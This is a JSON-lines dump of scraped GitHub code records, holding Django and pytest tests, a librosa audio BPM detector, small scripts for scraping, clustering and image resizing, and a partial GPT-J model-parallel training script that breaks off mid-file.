"librosa.effects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "soundfile.write", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "74271716103", "text": "import pytest\nfrom dbtemplates.models import Template\nfrom faker import Faker\nfrom rest_framework.test import APIClient\n\nfrom df_documents.models import Document\n\npytestmark = pytest.mark.django_db\n\n\n@pytest.mark.parametrize(\n    \"md_content, html_content\",\n    [\n        (\"# Hello\", \"<h1>Hello</h1>\"),\n    ],\n)\ndef test_retrieve_document(\n    md_content: str, html_content: str, faker: Faker, client: APIClient\n) -> None:\n    slug = faker.slug()\n    Document.objects.create(slug=slug, content=md_content)\n\n    response = client.get(f\"/legal/{slug}/\")\n\n    assert response.status_code == 200\n    assert response.content.decode().strip() == html_content\n\n\n@pytest.mark.parametrize(\n    \"md_content, html_content, template\",\n    [\n        (\"## Hello\", \"<h2>Hello</h2>\", \"<h1>header</h1>\"),\n    ],\n)\ndef test_retrieve_document_with_template_extend(\n    md_content: str, html_content: str, template: str, faker: Faker, client: APIClient\n) -> None:\n    template_name = \"base.html\"\n    md_content = f\"\"\"\n{{% extends 'base.html' %}}\n\n{{% block content %}}\n{md_content}\n{{% endblock %}}\n\"\"\"\n    template_content = f\"\"\"\n{template}\n{{% block content %}}\n{{% endblock %}}\n\"\"\"\n    slug = faker.slug()\n    Template.objects.create(name=template_name, content=template_content)\n    Document.objects.create(slug=slug, content=md_content)\n\n    response = client.get(f\"/legal/{slug}/\")\n\n    assert response.status_code == 200\n    assert html_content in response.content.decode().strip()\n    assert template in response.content.decode().strip()\n", "repo_name": "djangoflow/django-df-documents", "sub_path": "tests/test_app/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 1526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytest.mark", "line_number": 8, "usage_type": "attribute"}, {"api_name": "faker.Faker", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 18, "usage_type": "name"}, {"api_name": "faker.slug", "line_number": 20, "usage_type": "call"}, {"api_name": "df_documents.models.Document.objects.create", "line_number": 21, "usage_type": "call"}, {"api_name": "df_documents.models.Document.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "df_documents.models.Document", "line_number": 21, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 11, "usage_type": "attribute"}, {"api_name": "faker.Faker", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 36, "usage_type": "name"}, {"api_name": "faker.slug", "line_number": 51, "usage_type": "call"}, {"api_name": "dbtemplates.models.Template.objects.create", "line_number": 52, "usage_type": "call"}, {"api_name": "dbtemplates.models.Template.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "dbtemplates.models.Template", "line_number": 52, "usage_type": "name"}, {"api_name": "df_documents.models.Document.objects.create", "line_number": 53, "usage_type": "call"}, {"api_name": "df_documents.models.Document.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "df_documents.models.Document", "line_number": 53, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 29, "usage_type": "attribute"}]}
{"seq_id": "3282264856", "text": "import librosa\nimport numpy as np\nimport subprocess\nfrom config import CONFIG\n\n\nclass Detecter:\n    def __init__(self, filepath):\n        self.keys = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#',  'G', 'G#','A', 'A#', 'B']\n        self.orig_path = filepath\n        self.converted_path = f\"{filepath.split('.')[0]}.mp3\"\n\n        if not filepath.endswith(\".mp3\"):\n            subprocess.run(\n                [CONFIG.ffmpeg_path, \"-i\", self.orig_path, \"-vn\", \"-ar\", \"44100\", \"-ac\",\n                \"2\", \"-b:a\", \"192k\", self.converted_path])\n\n        self.loaded_audio = librosa.load(self.converted_path, sr=None)\n\n    async def detect_bpm(self):\n        y, sr = self.loaded_audio\n        bpm = 0\n        if y.size != 0:\n            bpm = librosa.beat.tempo(y=y, sr=sr) # librosa.feature.rhythm.tempo  in future\n\n        return bpm\n\n    async def detect_key(self):\n        y, sr = self.loaded_audio\n        key = None\n\n        chroma = librosa.feature.chroma_cqt(y=y, sr=sr)\n        chroma_vals = np.sum(chroma, axis=1)\n        most_common_pc = np.argmax(chroma_vals)\n        key = self.keys[most_common_pc - 7]\n\n        return key\n", "repo_name": "krystlepalace/BPM-aiogram-bot", "sub_path": "utils/detecter.py", "file_name": "detecter.py", "file_ext": "py", "file_size_in_byte": 1121, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "subprocess.run", "line_number": 14, "usage_type": "call"}, {"api_name": "config.CONFIG.ffmpeg_path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.CONFIG", "line_number": 15, "usage_type": "name"}, {"api_name": "librosa.load", "line_number": 18, "usage_type": "call"}, {"api_name": "librosa.beat.tempo", "line_number": 24, "usage_type": "call"}, {"api_name": "librosa.beat", "line_number": 24, "usage_type": "attribute"}, {"api_name": "librosa.feature.chroma_cqt", "line_number": 32, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "29384900439", "text": "import requests\nimport json\n\nfile_name=  \"Pizzas\"\n\nresponse = requests.get(\"https://kudapizza.herokuapp.com/pizzas/\").text\nresponse_info = json.loads(response)\npizzas_list =[]\n\nfor pizza_info in response_info:\n    pizzas_list.append([pizza_info['name_ru'],pizza_info['price'],pizza_info['image']])\n\ntext = json.dumps(pizzas_list, indent=4)\nwith open(file_name, \"w\", encoding='UTF-8') as file:\n    file.write(text)\n\n", "repo_name": "ssanmov/python-OOP", "sub_path": "5-dars bibliotekalar/04.py", "file_name": "04.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "24494612252", "text": "#!/usr/bin/python3\n\nimport setuptools, json\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nwith open(\"../build/hawck-ui/setup_config.json\") as rf:\n    config = json.load(rf)\n\nsetuptools.setup(\n    name=\"hawck_ui\",\n    version=config.get(\"version\", \"\"),\n    author=\"Jonas Møller\",\n    author_email=\"sanoj@nimda.no\",\n    description=\"User interface for the Hawck keyboard macro system.\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/snyball/Hawck\",\n    packages=setuptools.find_packages(),\n    include_package_data=True,\n    package_data={\n        \"hawck_ui\": [\n            \"resources/glade-xml/*.ui\"\n        ],\n    },\n    entry_points={\n        \"main_entry\": [\n            \"start = hawck_ui.main:main\"\n        ],\n    },\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: BSD\",\n        \"Operating System :: Linux\",\n    ],\n)\n", "repo_name": "aidanharris/Hawck", "sub_path": "hawck-ui/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 969, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 11, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "3700936392", "text": "from django.urls import path\n\nfrom apps.cars.views import CarListView, CarDetailView, DealerCarListView\n\napp_name = \"cars\"\n\nurlpatterns = [\n    path(\"\", CarListView.as_view(), name=\"cars\", ),\n    path(\"dealer/<int:dealer_id>/cars_of_dealer/\", DealerCarListView.as_view(), name=\"cars_of_dealer\", ),\n    path(\"<int:id>/\", CarDetailView.as_view(), name=\"car_detail\", ),\n]\n", "repo_name": "BohdanDatsko/car_dealer", "sub_path": "src/apps/cars/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "apps.cars.views.CarListView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "apps.cars.views.CarListView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "apps.cars.views.DealerCarListView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "apps.cars.views.DealerCarListView", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "apps.cars.views.CarDetailView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "apps.cars.views.CarDetailView", "line_number": 10, "usage_type": "name"}]}
{"seq_id": "34950292635", "text": "# Create your views here.\nfrom django.contrib.gis.geos.point import Point\nfrom django.contrib.gis.measure import Distance\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom django.shortcuts import render\nfrom world.forms import SearchForm\nfrom world.models import WorldBorder\n\n\ndef search_form(request):\n\tif request.method == 'POST':\n\t\t# Do a search\n\t\tform = SearchForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tcd = form.cleaned_data\n\t\t\t# Now find the objects\n\t\t\ttry:\n\t\t\t\tfeature  = WorldBorder.objects.get(mpoly__intersects=cd['point'])\n\t\t\texcept ObjectDoesNotExist:\n\t\t\t\tfeature = None\n\t\t\t# Also find things say, within 100 miles?\n\t\t\tnearby= WorldBorder.objects.filter(mpoly__distance_lte=(cd['point'], Distance(mi=1000))).distance(cd['point']).order_by('distance')\n\t\t\t# Slice the first element off the front if we found a feature\n\t\t\tif feature:\n\t\t\t\tnearby = nearby[1:]\n\t\t\tpoint = \"(%.3f, %.3f)\" % (cd['point'][0], cd['point'][1])\n\t\t\tresponse_dict = {'feature': feature, 'point': point, 'nearby': nearby}\n\t\t\treturn render(request, 'search_results.html', response_dict)\n\n\telse:\n\t\tform = SearchForm\n\t\t# gis/openlayers-osm.html?\n\t\treturn render(request, 'search_form.html', {'form': form })", "repo_name": "dleehr/GeoSample", "sub_path": "world/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1195, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "world.forms.SearchForm", "line_number": 14, "usage_type": "call"}, {"api_name": "world.models.WorldBorder.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "world.models.WorldBorder.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "world.models.WorldBorder", "line_number": 19, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 20, "usage_type": "name"}, {"api_name": "world.models.WorldBorder.objects.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "world.models.WorldBorder.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "world.models.WorldBorder", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.gis.measure.Distance", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 29, "usage_type": "call"}, {"api_name": "world.forms.SearchForm", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "16434008219", "text": "import shutil\nimport tempfile\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import Client, override_settings, TestCase\nfrom django.urls import reverse\n\nfrom posts.models import Comment, Group, Post  # type: ignore\n\nUser = get_user_model()\n\n\nSMALL_GIF = (\n    b'\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00'\n    b'\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00'\n    b'\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00'\n    b'\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00'\n    b'\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C'\n    b'\\x0A\\x00\\x3B'\n)\n\n\n@override_settings(MEDIA_ROOT=tempfile.mkdtemp(dir=settings.BASE_DIR))\nclass PostCreateFormTests(TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.test_user = User.objects.create_user(username='test_view_user')\n        cls.group = Group.objects.create(title='Тестирование forms',\n                                         slug='test-forms',\n                                         description='Потестить форму!')\n\n    def setUp(self):\n        self.authorized_client = Client()\n        self.authorized_client.force_login(PostCreateFormTests.test_user)\n\n    @classmethod\n    def tearDownClass(cls):\n        shutil.rmtree(settings.MEDIA_ROOT, ignore_errors=True)\n        super().tearDownClass()\n\n    def test_create_post(self):\n        \"\"\"Валидная форма создает запись в Post.\"\"\"\n        name_img = 'small.gif'\n        posts_count = Post.objects.count()\n        uploaded = SimpleUploadedFile(\n            name=name_img,\n            content=SMALL_GIF,\n            content_type='image/gif'\n        )\n        form_data = {\n            'text': 'Тестовый текст поста из формы',\n            'group': PostCreateFormTests.group.id,\n            'image': uploaded,\n        }\n        response = self.authorized_client.post(\n            reverse('new_post'),\n            data=form_data,\n            follow=True\n        )\n        self.assertRedirects(response, reverse('index'))\n        self.assertEqual(Post.objects.count(), posts_count + 1)\n        post = Post.objects.first()\n        self.assertEqual(post.group, PostCreateFormTests.group)\n        self.assertEqual(post.author, PostCreateFormTests.test_user)\n        self.assertEqual(post.text, form_data['text'])\n        self.assertEqual(post.image.name, f'posts/{name_img}')\n\n    def test_edit_post(self):\n        \"\"\"Валидная форма редактирует запись поста.\"\"\"\n        group2 = Group.objects.create(title='Тестирование forms 2',\n                                      slug='test-forms2',\n                                      description='Потестить форму 2!')\n        post = Post.objects.create(text='Тестовый пост проверок forms',\n                                        author=PostCreateFormTests.test_user,\n                                        group=PostCreateFormTests.group)\n        posts_count = Post.objects.count()\n        form_data = {\n            'group': group2.id,\n            'text': 'Отредактированный тестовый текст поста из формы',\n        }\n        self.authorized_client.post(\n            reverse(\n                'post_edit',\n                kwargs={\n                    'username': PostCreateFormTests.test_user,\n                    'post_id': post.id,\n                },\n            ),\n            data=form_data,\n            follow=True\n        )\n        object_post = Post.objects.get(id=post.id)\n        self.assertEqual(object_post.text, form_data['text'])\n        self.assertEqual(object_post.group, group2)\n        self.assertEqual(Post.objects.count(), posts_count)\n        self.assertEqual(object_post.author, PostCreateFormTests.test_user)\n\n    def test_error_creating_guest_user(self):\n        \"\"\"Форма не позволяет создавать новый пост анониму.\"\"\"\n        form_data = {'text': 'Я аноним!'}\n        posts_count = Post.objects.count()\n        response = self.client.post(reverse('new_post'), data=form_data)\n        self.assertEqual(posts_count, Post.objects.count())\n        self.assertRedirects(\n            response, (reverse('login') + '?next=' + reverse('new_post'))\n        )\n\n    def test_error_editing_not_author(self):\n        \"\"\"Форма не позволяет редактировать запись другому пользователю.\"\"\"\n        post = Post.objects.create(text='Тестовый пост проверок forms',\n                                   author=PostCreateFormTests.test_user)\n        post_count = Post.objects.count()\n        test_author = User.objects.create_user(username='test_author')\n        self.reader_client = Client()\n        self.reader_client.force_login(test_author)\n\n        form_data = {'text': 'Я аноним!', 'group': PostCreateFormTests.group}\n\n        kwargs_reverse = {\n            'username': PostCreateFormTests.test_user, 'post_id': post.id\n        }\n        response = self.reader_client.post(\n            reverse('post_edit', kwargs=kwargs_reverse), data=form_data\n        )\n        post_latest = Post.objects.get(id=post.id)\n        self.assertNotEqual(post_latest.text, form_data['text'])\n        self.assertNotEqual(post_latest.group, PostCreateFormTests.group)\n        self.assertNotEqual(post_latest.author, test_author)\n        self.assertEqual(post_count, Post.objects.count())\n        self.assertRedirects(response, reverse('post', kwargs=kwargs_reverse))\n\n    def test_guest_cannot_comment(self):\n        \"\"\"Форма не позволяет гостю оставлять комментарии к постам.\"\"\"\n        author = PostCreateFormTests.test_user\n        post = Post.objects.create(text='Тестовый пост проверок forms',\n                                   author=author)\n        Comment.objects.create(post=post, author=author,\n                               text='абракатабра хе-хе')\n        comment_count = post.comments.count()\n        form_data = {'text': 'Я аноним, комментом гоним!'}\n        response = self.client.post(reverse('add_comment',\n                                            kwargs={\n                                                'username': author,\n                                                'post_id': post.id\n                                            }), data=form_data)\n        self.assertEqual(comment_count, post.comments.count())\n        self.assertRedirects(response, reverse('login') + '?next=' + reverse(\n            'add_comment', kwargs={'username': author, 'post_id': post.id}\n        ))\n\n    def test_user_can_comment(self):\n        \"\"\"Форма позволяет пользователю оставлять комментарии к постам.\"\"\"\n        author = PostCreateFormTests.test_user\n        post = Post.objects.create(text='Тестовый пост для комментариев',\n                                   author=author)\n        comment_count = post.comments.count()\n        form_data = {'text': 'Я НЕ аноним!'}\n        response = self.authorized_client.post(reverse('add_comment',\n                                                       kwargs={\n                                                           'username': author,\n                                                           'post_id': post.id\n                                                       }), data=form_data)\n        self.assertEqual(post.comments.count(), comment_count + 1)\n\n        comm_obj = post.comments.all()[0]\n        self.assertEqual(comm_obj.text, form_data['text'])\n        self.assertEqual(comm_obj.author, author)\n        self.assertRedirects(response, reverse('post',\n                                               kwargs={\n                                                   'username': author,\n                                                   'post_id': post.id\n                                               }))\n", "repo_name": "Hash466/yatube", "sub_path": "yatube/posts/tests/test_forms.py", "file_name": "test_forms.py", "file_ext": "py", "file_size_in_byte": 8091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 12, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 26, "usage_type": "name"}, {"api_name": "posts.models.Group.objects.create", "line_number": 32, "usage_type": "call"}, {"api_name": "posts.models.Group.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "posts.models.Group", "line_number": 32, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 37, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 42, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 42, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 48, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 48, "usage_type": "name"}, {"api_name": "django.core.files.uploadedfile.SimpleUploadedFile", "line_number": 49, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 60, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 64, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.count", "line_number": 65, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 65, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.first", "line_number": 66, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 66, "usage_type": "name"}, {"api_name": "posts.models.Group.objects.create", "line_number": 74, "usage_type": "call"}, {"api_name": "posts.models.Group.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "posts.models.Group", "line_number": 74, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.create", "line_number": 77, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 77, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 80, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 80, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 86, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.get", "line_number": 96, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 96, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 99, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 99, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 105, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 105, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 106, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.count", "line_number": 107, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 107, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 109, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.create", "line_number": 114, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 114, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 116, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 116, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 118, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 127, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.get", "line_number": 129, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 129, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 129, "usage_type": "name"}, {"api_name": "posts.models.Post.objects.count", "line_number": 133, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 133, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 134, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.create", "line_number": 139, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 139, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 139, "usage_type": "name"}, {"api_name": "posts.models.Comment.objects.create", "line_number": 141, "usage_type": "call"}, {"api_name": "posts.models.Comment.objects", "line_number": 141, "usage_type": "attribute"}, {"api_name": "posts.models.Comment", "line_number": 141, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 145, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 151, "usage_type": "call"}, {"api_name": "posts.models.Post.objects.create", "line_number": 158, "usage_type": "call"}, {"api_name": "posts.models.Post.objects", "line_number": 158, "usage_type": "attribute"}, {"api_name": "posts.models.Post", "line_number": 158, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 162, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 172, "usage_type": "call"}, {"api_name": "django.test.override_settings", "line_number": 25, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.settings.BASE_DIR", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 25, "usage_type": "name"}]}
{"seq_id": "72108260413", "text": "from sklearn.cluster import KMeans \nimport numpy as np  \n \nX = np.array([[0, 0], [1, 2], [3, 1],\n              [8, 8], [9, 10], [10, 7]])\n\nkmeans = KMeans(n_clusters=2, random_state=1).fit(X)\nprint('--- kmeans 标签 ---'  )\nprint( kmeans.labels_)\n\n#predict = kmeans.predict([[0, 0], [4, 4]])\n#print('\\n--- 预测值 ---')\n#print( predict )\n\ncenters = kmeans.cluster_centers_\nprint('\\n--- kmeans 中心点 ---')\nprint( centers )", "repo_name": "cxinping/Python", "sub_path": "MachineLearning/K-means算法/kmeans-example01.py", "file_name": "kmeans-example01.py", "file_ext": "py", "file_size_in_byte": 428, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 4, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "41018020729", "text": "# noinspection PyUnresolvedReferences\nfrom PIL import Image\nimport os\n\n#This should point to the base directory of all the data:\npathString = os.path.join(\"C:\", os.sep, \"Users\", \"Nicholas\", \"Documents\", \"CS4342\", \"CS4342_Dog_Breed_Identification\")\nresized_directory = os.path.join(pathString, \"resized\")\nresizeWidth = 200\nresizeHeight = 200\nlimit = None;\n\ncount = 0;\nfor image_file in os.listdir(os.path.join(pathString, \"train\")):\n    try:\n        with Image.open(os.path.join(pathString, \"train\", image_file)) as im:\n            resized = im.resize((resizeWidth, resizeHeight));\n            resized.save(os.path.join(resized_directory, image_file), \"JPEG\")\n            count = count + 1;\n    except IOError as e:\n        print(\"Error resizing image: \", e)\n\n    if limit is not None and (count >= limit):\n        break\n\nprint(\"Done! \", count,\" images resized to \", resizeWidth, \"x\", resizeHeight)\nprint(\"Saved to: \", resized_directory)\n\n\n\n\n", "repo_name": "nparker2020/CS4342_Dog_Breed_Identification", "sub_path": "nbjohnson/pillow_resize_script.py", "file_name": "pillow_resize_script.py", "file_ext": "py", "file_size_in_byte": 941, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}]}
{"seq_id": "29153049256", "text": "from torch.distributed.distributed_c10d import broadcast\nimport transformers\nimport torch as t\nimport torchtext\nimport torch.distributed as dist\nimport torch.multiprocessing as mp\nimport os\nfrom days.utils import import_object_from_qualified_name\nfrom days.w2d5.dataparallel import killgroup\nfrom einops import rearrange\n\nDEVICES = [\"cuda:4\", \"cuda:5\", \"cuda:6\", \"cuda:7\"]\nMAX_LEN = 128\nBATCH_SIZE = 4\n\ntransformers.models.gptj.modeling_gptj.GPTJModel\n\ndef load_data(batch_size=BATCH_SIZE, random_seed=0):\n    print(\"loading data\")\n    tensor_path_tokens = \"/home/ubuntu/dm_and_nina/days/w3d1/imdb_tokens.pt\"\n    tensor_path_labels = \"/home/ubuntu/dm_and_nina/days/w3d1/imdb_labels.pt\"\n    if os.path.exists(tensor_path_tokens) and os.path.exists(tensor_path_labels):\n        batches = t.load(tensor_path_tokens)\n        batched_labels = t.load(tensor_path_labels)\n        print(\"batches shapes\", batches.shape, batched_labels.shape)\n    else:\n        data_train, _ = torchtext.datasets.IMDB(root='.data', split=('train', 'test'))\n        data_train = list(data_train)\n        tokenizer = transformers.AutoTokenizer.from_pretrained(\"EleutherAI/gpt-j-6B\")\n        tokenizer.pad_token = tokenizer.eos_token\n        tokens = tokenizer([_t[1] for _t in data_train], padding=\"longest\", max_length=MAX_LEN, truncation=True)[\"input_ids\"]\n        tokens = t.tensor(tokens).long()\n        labels = t.tensor([0 if _t[0] == \"neg\" else 1 for _t in data_train])\n\n        t.manual_seed(random_seed)\n        perm = t.randperm(tokens.shape[0])\n        tokens = tokens[perm]\n        labels = labels[perm]\n        leftover = tokens.shape[0] % batch_size\n        batches = rearrange(tokens[leftover: ], \"(k b) l -> k b l\", b = batch_size)\n        batched_labels = rearrange(labels[leftover: ], \"(k b) -> k b\", b = batch_size)\n\n        t.save(batches, tensor_path_tokens)\n        t.save(batched_labels, tensor_path_labels)\n    return batches, batched_labels\n\nclass GPTJBlock2(t.nn.Module):\n    def __init__(self, block):\n            super(GPTJBlock2, self).__init__()\n            self.block = block \n    \n    def forward(self, x):\n        x = self.block(x)\n        return x[0]\n\nclass GPTJPart(t.nn.Module):\n    def __init__(self, model, part_num):\n        super(GPTJPart, self).__init__()\n\n        self.part_num = part_num\n\n        num_blocks = len(model.transformer.h)\n\n        k = num_blocks // 4\n\n        if part_num == 0:\n\n            # self.layers = t.nn.Linear(MAX_LEN, 4096)\n\n            self.layers = t.nn.Sequential(\n                model.transformer.wte,\n                model.transformer.drop,\n                *[GPTJBlock2(b) for b in model.transformer.h[0:k]]\n            )\n\n        elif part_num == 1:\n\n            # self.layers = t.nn.Linear(4096, 4096)\n\n            self.layers = t.nn.Sequential(\n                *[GPTJBlock2(b) for b in model.transformer.h[k:2*k]]\n            )\n\n        elif part_num == 2:\n\n            # self.layers = 